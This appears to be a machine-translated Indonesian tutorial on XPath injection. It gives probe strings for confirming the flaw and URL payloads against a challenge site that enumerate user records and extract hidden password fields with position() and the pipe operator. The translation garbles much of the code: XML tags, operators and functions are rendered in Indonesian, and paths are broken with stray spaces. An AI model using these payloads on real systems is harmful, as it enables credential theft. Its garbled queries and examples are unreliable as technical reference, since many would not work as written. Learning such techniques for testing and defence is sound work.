XPath Injection

chmood
XPath Injection: Iterasi melalui elemen dan Entitas

Β Β  Lama setelah posting dasar-dasar XPath untuk XPath Injection, di sini kita dengan bagian pertama dari XPath injection. Saya tidak akan mengambil banyak waktu dalam satu ini karena saya kira jika Anda telah membaca tutorial lain pada XPath Berikut. Dalam tutorial ini kita akan belajar bagaimana untuk menyuntikkan ke URL vuln XPath dengan Zero pengetahuan tentang struktur file.

Kita akan membahas berikut dalam tutorial ini.
1. Pengujian dan mengkonfirmasikan XPATHi
2. Iterasi melalui Nodes
3. Data Ekstrak dari Saudara


Pertama-tama saya harap Anda tahu dasar-dasar apa XPath adalah, struktur file XML, quries digunakan untuk mengambil data dari XML menggunakan XPath. Jika Anda tidak maka saya yakin Anda akan mendapatkan "Sangat Bingung" dengan tutorial ini


Jadi sebelum Anda mulai membaca ini saya kira Anda membaca tutorial lain di XPath.

1. Pengujian dan mengkonfirmasikan XPATHi

Pengujian untuk XPath dan mengkonfirmasikan itu adalah bagian paling penting karena kebanyakan dari kita dan khususnya pembaca securityidiots melihat SQLi mana-mana dan di mana saja mereka menemukan kesalahan bahkan jika kesalahan adalah kesalahan Conversional, Error, Programming Kesalahan dan bahkan beberapa kali orang menganggap bahwa mendapatkan diblokir oleh WAF di mengetikkan "Uni pilih" berarti yang rentan terhadap SQLi. Hmmm menarik dan reaksi ada seperti:



Nah guys saya kira saya telah menulis cukup tutorial tentang cara untuk menguji dan mengkonfirmasi SQLi, kadang-kadang yang baik untuk membacanya juga. Menjaga bahwa selain di sini kita akan memulai pengujian untuk XPath.

Ketika kita melihat masukan feild hal pertama yang kita akan memeriksa membuat benar menggunakan tes di bawah ini:

1 atau 1 = 1
1 atau benar
'Atau' '='
"Atau" "="

dan dalam hal XPath atau SQLi dan banyak Suntikan lain mereka akan bekerja sama. Jadi sekarang untuk mengkonfirmasi jika XPATHi nya kita dapat menggunakan posisi () fungsi, yang khusus untuk XPath. Berikut adalah beberapa tes kita dapat mencoba:

1 atau postition () = 1 atau 1 = 1
1 atau postition () = 1 atau benar
'Atau postition () = 1 atau' '='
"Atau postition () = 1 atau" "="

Jika salah satu karya di atas maka Anda dapat mengasumsikan bahwa injeksi Anda berurusan dengan adalah Injection XPath. Sekarang di bawah adalah file XML contoh yang kita akan menggunakan seluruh tutorial ini:

<Xmlfile>
<Pengguna>
<User>
<Nama pertama = "Zenodermus" lalu = "javanicus" />
<Id> 1 </ id>
<Username> Zen </ username>
<Password> n00b_132 </ password>
<Telepon> 123-456-7890 </ telepon>
</ User>
<User>
<Nama pertama = "Rahul" lalu = "Maane" />
<Id> 2 </ id>
<Username> Rakasa </ username>
<Password> i_om-GAWWWD </ password>
<Telepon> 603-478-4115 </ telepon>
</ User>
<User>
<Nama pertama = "ashx" lalu = "Khan" />
<Id> 3 </ id>
<Username> Trojan </ username>
<Password> ihavemoregfsthanyou </ password>
<Telepon> 222-222-2222 </ telepon>
</ User>
<User>
<Nama pertama = "Remi" lalu = "Khan" />
<Id> 4 </ id>
<Username> CyberGh0st </ username>
<Password> SelectPassFromDual </ password>
<Telepon> 88-777-8989 </ telepon>
</ User>
<Pengguna />
</ Xmlfile>


Sekarang di sini adalah beberapa pertanyaan XPath dasar yang dapat digunakan untuk mengambil data dari file di atas:

Untuk Ekstrak nama pengguna di mana id = 1
/ Xmlfile / pengguna / user [id = '1'] / username
Untuk Ekstrak nama pengguna di mana id = 2
/ Xmlfile / pengguna / user [id = '2'] / username
Untuk Ekstrak sandi dimana username adalah Rakasa
/ Xmlfile / pengguna / user [username = "Rakasa"] / password
Untuk Ekstrak telepon di mana username adalah Trojan dan password ihavemoregfsthanyou
/ Xmlfile / pengguna / user [username = "Trojan" dan password = "ihavemoregfsthanyou"] / telepon
Untuk Ekstrak nama pertama
/ Xmlfile / pengguna / user [posisi () = 1] / username


Melihat semua contoh pertanyaan di atas saya pikir itu harus cukup jelas untuk semua untuk memahami cara dasar penggalian data menggunakan query XPath.

Sekarang mari kita ambil contoh ini "Link" yang menunjukkan nomor telepon pengguna berlalu dalam parameter nama pengguna. Sekarang kita hanya bisa mendapatkan nomor jika kita tahu username.

2. Iterasi melalui Nodes

Jadi di sini mari kita mencoba suntik dengan XPath. Sebelum kita mulai suntik memungkinkan menganggap apa yang bisa query bekerja dalam, itu harus sesuatu seperti "/ root / semething / user [username =" <Our_Intput_here> "] / telepon" dengan asumsi ini memungkinkan mencoba bawah suntikan:

http://Target.net/zen_challenge1/challenge_2.php?username='or''= '
Dan kami mendapat jumlah pengguna pertama, sekarang untuk mendapatkan jumlah pengguna kedua kita akan menggunakan posisi () seperti dulu sebelum di atas
http://Target.net/zen_challenge1/challenge_2.php?username='or posisi () = 2 dan '' = '
Dan kami mendapat jumlah Kedua pengguna, seterusnya kita bisa menjaga posisi () untuk mendapatkan sisa nomor pengguna ponsel berubah.
http://Target.net/zen_challenge1/challenge_2.php?username='or posisi () = 3 dan '' = '
Dan kami mendapat jumlah pengguna Ketiga, seterusnya kita bisa menjaga posisi () untuk mendapatkan sisa nomor pengguna ponsel berubah.

Di sini kita dilakukan iterasi melalui node tapi masalahnya adalah kita tidak dapat mengekstrak rincian lainnya seperti password dll yang harus dan harus disimpan dalam file XML yang sama. Sekarang inilah langkah berikutnya menggunakan yang kita bahkan dapat menghitung rincian lain yang kita inginkan.

3. Data Ekstrak dari Saudara

Sampai sekarang kami menggunakan posisi sehingga kami dapat menghitung melalui node hanya tetapi / telepon pada akhirnya sulit dikodekan sehingga kita tidak bisa mengubahnya untuk mengekstrak data lainnya. Tapi khawatir tidak !! kita memiliki operator Pipa yang bekerja untuk menggabungkan dua pertanyaan di XPath. Berikut adalah bagaimana kita bisa melakukan ini:

http://Target.net/challenge_2.php?username=' or position()=1]/*[2]|/a['
Injeksi atas ekstrak Elemen kedua dari simpul pertama.
http://Target.net/zen_challenge1/challenge_2.php?username=' or position()=1]/*[3]|/a['
Injeksi atas ekstrak Elemen ketiga dari simpul pertama.
http://Target.net/zen_challenge1/challenge_2.php?username=' or position()=1]/*[4]|/a['
Injeksi atas ekstrak Forth Elemen dari simpul pertama.
http://Target.net/zen_challenge1/challenge_2.php?username=' or position()=1]/*[5]|/a['
Injeksi atas ekstrak Fifth Element dari simpul pertama.
http://Target.net/zen_challenge1/challenge_2.php?username=' or position()=2]/*[2]|/a['

Berikut saya mengubah posisi yang berarti akan mengambil data dari elemen kedua node kedua, seterusnya Anda dapat terus berubah dan penggalian.

Dengan ini kita bisa mengambil data dengan Zero Pengetahuan tentang struktur file internal. Berikut adalah tantangan XPATHi Anda dapat mencoba memecahkan metode di atas:

http://Target.net/index.php

Di sini mencoba mengekstraksi username dan password dari semua pengguna. Thats semua untuk tutorial ini, akan menangkap Anda segera kembali dengan tutorial lain.
Komentar